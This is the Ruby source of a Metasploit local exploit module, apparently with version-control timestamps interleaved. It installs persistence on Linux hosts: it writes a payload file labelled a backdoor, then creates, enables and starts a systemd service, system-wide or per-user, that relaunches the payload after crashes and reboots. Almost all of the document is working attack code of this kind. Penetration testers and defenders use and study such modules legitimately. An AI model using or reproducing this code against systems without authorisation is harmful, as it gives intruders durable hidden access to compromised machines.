2025-09-06 11:11:56 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Local
Rank = ExcellentRanking
include Msf :: Post :: File
include Msf :: Post :: Unix
include Msf :: Exploit :: FileDropper
include Msf :: Exploit :: EXE # for generate_payload_exe
include Msf :: Post :: Linux :: User # get_home_dir
include Msf :: Exploit :: Local :: Persistence
prepend Msf :: Exploit :: Remote :: AutoCheck
include Msf :: Exploit :: Deprecated
moved_from 'exploits/linux/local/service_persistence'
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Service SystemD Persistence' ,
'Description' = > %q{
This module will create a service on the box, and mark it for auto-restart.
We need enough access to write service files and potentially restart services
Targets:
CentOS 7
Debian >= 7, <=8
Fedora >= 15
Ubuntu >= 15.04
Verified on Ubuntu 18.04.3
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'h00die <mike@shorebreaksecurity.com>' ,
'Cale Black' # user target
] ,
'Platform' = > [ 'unix' , 'linux' ] ,
'Privileged' = > true ,
'Targets' = > [
[ 'systemd' , { } ] ,
[ 'systemd user' , { } ]
] ,
'DefaultTarget' = > 0 ,
'Arch' = > [
ARCH_CMD ,
ARCH_X86 ,
ARCH_X64 ,
ARCH_ARMLE ,
ARCH_AARCH64 ,
ARCH_PPC ,
ARCH_MIPSLE ,
ARCH_MIPSBE
] ,
'References' = > [
[ 'URL' , 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples' ] ,
[ 'URL' , 'https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/' ] ,
2025-09-06 11:37:33 -04:00
[ 'ATT&CK' , Mitre :: Attack :: Technique :: T1543_002_SYSTEMD_SERVICE ]
2025-09-06 11:11:56 -04:00
] ,
'SessionTypes' = > [ 'shell' , 'meterpreter' ] ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION , EVENT_DEPENDENT ] ,
'SideEffects' = > [ ARTIFACTS_ON_DISK , CONFIG_CHANGES ]
} ,
'DisclosureDate' = > '2010-03-30' # systemd release date
)
)
register_options (
[
OptString . new ( 'PAYLOAD_NAME' , [ false , 'Name of shell file to write' ] ) ,
OptString . new ( 'SERVICE' , [ false , 'Name of service to create' ] ) ,
OptString . new ( 'USER' , [ false , 'User to target, or current user if blank' , '' ] , conditions : [ 'Targets' , '==' , 'systemd user' ] ) ,
]
)
register_advanced_options (
[
OptBool . new ( 'EnableService' , [ true , 'Enable the service' , true ] )
]
)
end
def check
2025-09-09 16:19:32 -04:00
print_warning ( 'Payloads in /tmp will only last until reboot, you want to choose elsewhere.' ) if writable_dir . start_with? ( '/tmp' )
2025-09-06 11:11:56 -04:00
print_warning ( 'User doesnt have root permissions, yet target set to systemd, likely need to change target to systemd user.' ) if target . name == 'systemd' && ! is_root?
2025-09-09 16:19:32 -04:00
return CheckCode :: Safe ( " #{ writable_dir } doesnt exist " ) unless exists? ( writable_dir )
return CheckCode :: Safe ( " #{ writable_dir } isnt writable " ) unless writable? ( writable_dir )
2025-09-06 11:11:56 -04:00
return CheckCode :: Safe ( 'Likely not a systemd based system' ) unless command_exists? ( 'systemctl' )
2025-09-09 16:19:32 -04:00
CheckCode :: Appears ( " #{ writable_dir } is writable and system is systemd based " )
2025-09-06 11:11:56 -04:00
end
def target_user
return datastore [ 'USER' ] unless datastore [ 'USER' ] . blank?
whoami
end
def install_persistence
2025-09-09 16:19:32 -04:00
print_warning ( 'Payloads in /tmp will only last until reboot, you want to choose elsewhere.' ) if writable_dir . start_with? ( '/tmp' )
backdoor = write_shell ( writable_dir )
2025-09-06 11:11:56 -04:00
path = backdoor . split ( '/' ) [ 0 ... - 1 ] . join ( '/' )
file = backdoor . split ( '/' ) [ - 1 ]
case target . name
when 'systemd'
systemd ( path , file )
when 'systemd user'
systemd_user ( path , file )
end
end
def write_shell ( path )
file_name = datastore [ 'PAYLOAD_NAME' ] || Rex :: Text . rand_text_alpha ( 5 .. 10 )
backdoor = " #{ path } / #{ file_name } "
vprint_status ( " Writing backdoor to #{ backdoor } " )
if payload . arch . first == 'cmd'
write_file ( backdoor , payload . encoded )
chmod ( backdoor , 0 o755 )
else
upload_and_chmodx backdoor , generate_payload_exe
end
@clean_up_rc << " rm #{ backdoor } \n "
fail_with ( Failure :: NoAccess , 'File not written, check permissions.' ) unless file_exist? ( backdoor )
backdoor
end
def service_file ( exec , target = 'multi-user.target' )
<< ~ EOF
[ Unit ]
Description = Start daemon at boot time
After =
Requires =
[ Service ]
RestartSec = 10 s
Restart = always
TimeoutStartSec = 5
RemainAfterExit = yes
ExecStart = #{exec}
[ Install ]
WantedBy = #{target}
EOF
end
def systemd ( backdoor_path , backdoor_file )
if payload . arch . first == 'cmd'
script = service_file ( " /bin/sh #{ backdoor_path } / #{ backdoor_file } " )
else
script = service_file ( " #{ backdoor_path } / #{ backdoor_file } " )
end
service_filename = datastore [ 'SERVICE' ] || Rex :: Text . rand_text_alpha ( 7 .. 12 )
service_name = " /lib/systemd/system/ #{ service_filename } .service "
vprint_status ( " Writing service: #{ service_name } " )
write_file ( service_name , script )
2025-09-09 16:19:32 -04:00
fail_with ( Failure :: NoAccess , 'Service file not written, check permissions.' ) unless file_exist? ( service_name )
2025-09-06 11:11:56 -04:00
@clean_up_rc << " rm #{ service_name } \n "
if datastore [ 'EnableService' ]
vprint_status ( 'Enabling service' )
cmd_exec ( " systemctl enable #{ service_filename } .service " )
end
vprint_status ( 'Starting service' )
cmd_exec ( " systemctl start #{ service_filename } .service " )
end
def systemd_user ( backdoor_path , backdoor_file )
if payload . arch . first == 'cmd'
script = service_file ( " /bin/sh #{ backdoor_path } / #{ backdoor_file } " , 'default.target' )
else
script = service_file ( " #{ backdoor_path } / #{ backdoor_file } " , 'default.target' )
end
service_filename = datastore [ 'SERVICE' ] || Rex :: Text . rand_text_alpha ( 7 .. 12 )
user = target_user
home = get_home_dir ( user )
vprint_status ( 'Creating user service directory' )
cmd_exec ( " mkdir -p #{ home } /.config/systemd/user " )
service_name = " #{ home } /.config/systemd/user/ #{ service_filename } .service "
vprint_status ( " Writing service: #{ service_name } " )
write_file ( service_name , script )
@clean_up_rc << " rm #{ service_name } \n "
if ! file_exist? ( service_name )
print_error ( 'File not written, check permissions. Attempting secondary location' )
vprint_status ( 'Creating user secondary service directory' )
cmd_exec ( " mkdir -p #{ home } /.local/share/systemd/user " )
service_name = " #{ home } /.local/share/systemd/user/ #{ service_filename } .service "
vprint_status ( " Writing .local service: #{ service_name } " )
write_file ( service_name , script )
2025-09-09 16:19:32 -04:00
fail_with ( Failure :: NoAccess , 'Service file not written, check permissions.' ) unless file_exist? ( service_name )
@clean_up_rc << " rm #{ service_name } \n "
2025-09-06 11:11:56 -04:00
end
# This was taken from pam_systemd(8)
systemd_socket_id = cmd_exec ( 'id -u' )
systemd_socket_dir = " /run/user/ #{ systemd_socket_id } "
vprint_status ( 'Reloading manager configuration' )
cmd_exec ( " XDG_RUNTIME_DIR= #{ systemd_socket_dir } systemctl --user daemon-reload " )
if datastore [ 'EnableService' ]
vprint_status ( 'Enabling service' )
cmd_exec ( " XDG_RUNTIME_DIR= #{ systemd_socket_dir } systemctl --user enable #{ service_filename } .service " )
end
vprint_status ( " Starting service: #{ service_filename } " )
# Prefer restart over start, as it will execute already existing service files
cmd_exec ( " XDG_RUNTIME_DIR= #{ systemd_socket_dir } systemctl --user restart #{ service_filename } " )
end
end